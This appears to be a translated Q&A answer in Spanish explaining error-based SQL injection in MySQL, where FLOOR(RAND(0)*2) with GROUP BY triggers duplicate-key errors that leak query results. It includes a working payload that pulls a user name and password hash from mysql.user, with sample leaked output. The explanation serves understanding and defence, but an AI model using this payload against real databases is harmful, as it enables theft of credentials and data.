Lo que realmente hace el ataque
Hay un detalle sutil pero inteligente sobre este ataque que otros respondedores pasaron por alto. Observe el mensaje de error Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
. La cadena :sjw:1:ukt:1
es en realidad el resultado de una expresión evaluada por su servidor MySQL. Si su aplicación devuelve la cadena de error de MySQL al navegador, entonces el mensaje de error puede filtrar datos de su base de datos.
Este tipo de ataque se usa en casos en los que el resultado de la consulta no se envía de vuelta al navegador (inyección SQL ciega) o cuando un ataque UNION SELECT clásico es complicado de realizar. También funciona en consultas INSERT/UPDATE/DELETE.
Como señala Hawili, no se suponía que la consulta particular original filtrara ninguna información, solo era una prueba para ver si su aplicación es vulnerable a este tipo de inyección.
El ataque no fallar como sugirió MvG, causar este error es el propósito de la consulta.
Un mejor ejemplo de cómo se puede usar esto:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Por qué aparece el error
Por qué la consulta causa este error en MySQL es algo misterioso para mí. Parece un error de MySQL, ya que se supone que GROUP BY se ocupa de las entradas duplicadas agregándolas. ¡La simplificación de la consulta de Hawili, de hecho, no causa el error!
La expresión FLOOR(RAND(0)*2)
da los siguientes resultados en orden, basados en el argumento semilla aleatoria 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Debido a que el tercer valor es un duplicado del segundo, se genera este error. Se puede usar cualquier tabla FROM con al menos 3 filas, pero information_schema.tables es común. Las partes COUNT(*) y GROUP BY son necesarias para provocar el error en MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Este error no ocurre en la consulta equivalente a PostgreSQL:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Perdón por responder 1 año tarde, pero me topé con esto hoy. Esta pregunta es interesante para mí porque no sabía que había formas de filtrar datos a través de mensajes de error de MySQL)